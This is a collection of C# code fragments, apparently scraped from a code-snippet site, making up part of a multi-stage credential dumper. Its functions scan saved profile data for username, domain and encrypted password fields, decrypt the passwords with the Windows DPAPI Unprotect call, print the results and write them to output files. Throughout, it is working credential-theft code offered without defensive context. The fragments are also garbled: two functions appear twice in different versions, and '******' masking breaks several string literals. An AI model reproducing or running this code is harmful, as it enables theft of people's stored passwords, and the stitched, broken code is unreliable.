// Prints the creds stored in the UsernameStore structure public static void PrintUsernameStore(UsernameStore theStore) { Console.WriteLine("Found the following:"); Console.WriteLine("Domain: " + theStore.domain); Console.WriteLine("Username: "******"Password: " + theStore.password); }
// Try to decrpyt the password, and extract username + domain public void Stage3() { string[] profiles; try { profiles = Directory.GetFiles(this._workingDirectory); } catch { // Failure Console.WriteLine("Didnt find any profiles :/"); return; } // Loop over all the profiles in the profile directory we created in the previous steps foreach (string profilePath in profiles) { string profile = Path.GetFileNameWithoutExtension(profilePath); // Is this a stage2 decrypted payload? if (!profile.Contains(stage2Prefix)) { continue; } profile = profile.Replace(stage2Prefix, ""); try { // Try to decrypt everything, and print what we found byte[] data = File.ReadAllBytes(profilePath); UsernameStore theStore = DecryptAll(data); PrintUsernameStore(theStore); // If we decrypted the password, store the result into a file if (theStore.password != null && theStore.password.Length > 0) { // Generate the payload var sb = new StringBuilder(); sb.AppendLine(profile); sb.AppendLine("Domain: " + theStore.domain); sb.AppendLine("Username: "******"Password: "******"/" + stage3Prefix + profile + extension, sb.ToString()); } } catch { // Failed to read, continued Console.WriteLine("Failed to read " + profile); continue; } } }
// Try to decrpyt the password, and extract username + domain public static void Stage3() { string[] profiles; try { profiles = System.IO.Directory.GetFiles(workingDirectory); } catch { // Failure Console.WriteLine("Didnt find any profiles :/"); return; } // Loop over all the profiles in the profile directory we created in the previous steps for (int i = 0; i < profiles.Length; ++i) { string profilePath = profiles[i]; string profile = System.IO.Path.GetFileNameWithoutExtension(profilePath); // Is this a stage2 decrypted payload? if (!profile.Contains(stage2Prefix)) { continue; } profile = profile.Replace(stage2Prefix, ""); try { // Try to decrypt everything, and print what we found byte[] data = System.IO.File.ReadAllBytes(profilePath); UsernameStore theStore = DecryptAll(data); PrintUsernameStore(theStore); // If we decrypted the password, store the result into a file if (theStore.password != null && theStore.password.Length > 0) { // Generate the payload string theOutput = profile + "\n"; theOutput += "Domain: " + theStore.domain + "\n"; theOutput += "Username: "******"\n"; theOutput += "Password: "******"\n"; System.IO.File.WriteAllText(workingDirectory + "/" + stage3Prefix + profile + extension, theOutput); } } catch { // Failed to read, continued Console.WriteLine("Failed to read " + profile); continue; } } }
// Attempt to decrypt the password field in the given payload, will store the password into the given UsernameStore, or create a new one public static UsernameStore DecryptPassword(byte[] toDecrypt, UsernameStore theStore = null) { if (theStore == null) { theStore = new UsernameStore(); } // This is the signature of where the encrypted password starts byte[] searchForPassword = { 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01 }; // See if there is an encrypted password chunk present int passwordFieldStart = SigScan(toDecrypt, searchForPassword); if (passwordFieldStart != -1) { // A chunk was successfully found Console.WriteLine("Found encrypted password blob..."); byte[] passwordBlob = Slice(toDecrypt, passwordFieldStart); try { // Try to decrypt the chunk byte[] unprotectedPassword = ProtectedData.Unprotect(passwordBlob, null, DataProtectionScope.LocalMachine); // Strip any null bytes that were added for (int i = 0; i < unprotectedPassword.Length; ++i) { if (unprotectedPassword[i] == 0x00) { unprotectedPassword = Slice(unprotectedPassword, 0, i); break; } } // Store the password theStore.password = Encoding.ASCII.GetString(unprotectedPassword); } catch (Exception e) { Console.WriteLine("Failed to decrypt password --- This needs to be run as the user who owns the password"); // failure } } else { // Ok, we failed to find an encrypted blob, maybe it's not encrypted? //searchForPassword = { 0x03, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01 }; Console.WriteLine("Failed to find an encrypted password blob :/"); } return(theStore); }
// Attempts to retreive the username and domain from the given payload public static UsernameStore DecryptUsername(byte[] toDecrypt, UsernameStore theStore = null) { // Used to find the start of the username / password blob byte[] searchForUsername = { 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 }; byte[] nullArray = { 0x00 }; // Ensure we have a store for the username if (theStore == null) { theStore = new UsernameStore(); } int usernameFieldStart = SigScan(toDecrypt, searchForUsername); if (usernameFieldStart != -1) { // Move to the start of the actual field usernameFieldStart += searchForUsername.Length; int usernameFieldEnd = SigScan(toDecrypt, nullArray, usernameFieldStart); if (usernameFieldEnd != -1) { byte[] usernameField = Slice(toDecrypt, usernameFieldStart, usernameFieldEnd); theStore.username = Encoding.ASCII.GetString(usernameField); // Find the domain start int domainFieldStart = SigScan(toDecrypt, nullArray, usernameFieldEnd + 1, true); // Test if a domain was found, if we reached 0xE6, there was no domain present if (domainFieldStart != -1 && toDecrypt[domainFieldStart] != 0xE6) { int domainFieldEnd = SigScan(toDecrypt, nullArray, domainFieldStart); if (domainFieldEnd != -1) { // Copy the domain out byte[] possibleDomainField = Slice(toDecrypt, domainFieldStart, domainFieldEnd); theStore.domain = Encoding.ASCII.GetString(possibleDomainField); } } } } else { Console.WriteLine("Failed to find username field!"); } return(theStore); }
// Tries to decrypt the given payload, and stores the result into the UsernameStore provided, or creates a new UsernameStore public static UsernameStore DecryptAll(byte[] toDecrypt, UsernameStore theStore = null) { // Ensure we have a store if (theStore == null) { theStore = new UsernameStore(); } // Try to decrypt everything DecryptUsername(toDecrypt, theStore); DecryptPassword(toDecrypt, theStore); // Return it return(theStore); }
// Attempts to retreive the username and domain from the given payload public static UsernameStore DecryptUsername(byte[] toDecrypt, UsernameStore theStore = null) { // Used to find the start of the username / password blob byte[] searchForUsername = { 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00 }; byte[] searchForUsername2 = { 0x03, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00 }; byte[] nullArray = { 0x00 }; // Ensure we have a store for the username if (theStore == null) { theStore = new UsernameStore(); } int usernameFieldStart = SigScan(toDecrypt, searchForUsername); if (usernameFieldStart != -1) { // Move to the start of the actual field usernameFieldStart += searchForUsername.Length; int usernameFieldEnd = SigScan(toDecrypt, nullArray, usernameFieldStart); if (usernameFieldEnd != -1) { byte[] usernameField = Slice(toDecrypt, usernameFieldStart, usernameFieldEnd); theStore.username = Encoding.ASCII.GetString(usernameField); // Find the domain start int domainFieldStart = SigScan(toDecrypt, nullArray, usernameFieldEnd + 1, true); // Test if a domain was found, if we reached 0xE6, there was no domain present if (domainFieldStart != -1 && toDecrypt[domainFieldStart] != 0xE6) { int domainFieldEnd = SigScan(toDecrypt, nullArray, domainFieldStart); if (domainFieldEnd != -1) { // Copy the domain out byte[] possibleDomainField = Slice(toDecrypt, domainFieldStart, domainFieldEnd); theStore.domain = Encoding.ASCII.GetString(possibleDomainField); } } } } else { // Failed to find the blob, maybe it's not encrypted? usernameFieldStart = SigScan(toDecrypt, searchForUsername2); Console.WriteLine(usernameFieldStart); if (usernameFieldStart != -1) { // Looks good? // There will be some null bytes, skip until the end of those usernameFieldStart += searchForUsername2.Length; usernameFieldStart = SigScan(toDecrypt, nullArray, usernameFieldStart, true); // Find where the username field ends int usernameFieldEnd = SigScan(toDecrypt, nullArray, usernameFieldStart + 1); byte[] usernameField = Slice(toDecrypt, usernameFieldStart, usernameFieldEnd); theStore.username = Encoding.ASCII.GetString(usernameField); // Keep searching, the password is probably here too! int passowrdFieldStart = SigScan(toDecrypt, nullArray, usernameFieldEnd + 1, true); if (passowrdFieldStart != -1) { int passwordFieldEnd = SigScan(toDecrypt, nullArray, passowrdFieldStart + 1); if (passwordFieldEnd != -1) { byte[] passwordField = Slice(toDecrypt, passowrdFieldStart, passwordFieldEnd); theStore.password = Encoding.ASCII.GetString(passwordField); // Maybe there is a domain too? int domainFieldStart = SigScan(toDecrypt, nullArray, passwordFieldEnd + 1, true); if (domainFieldStart != -1) { int domainFieldEnd = SigScan(toDecrypt, nullArray, domainFieldStart + 1); if (domainFieldEnd != -1) { byte[] domainField = Slice(toDecrypt, domainFieldStart, domainFieldEnd); if (domainField[0] != 0x01) { theStore.domain = Encoding.ASCII.GetString(domainField); } } } } } } else { Console.WriteLine("Failed to find username field!"); } } return(theStore); }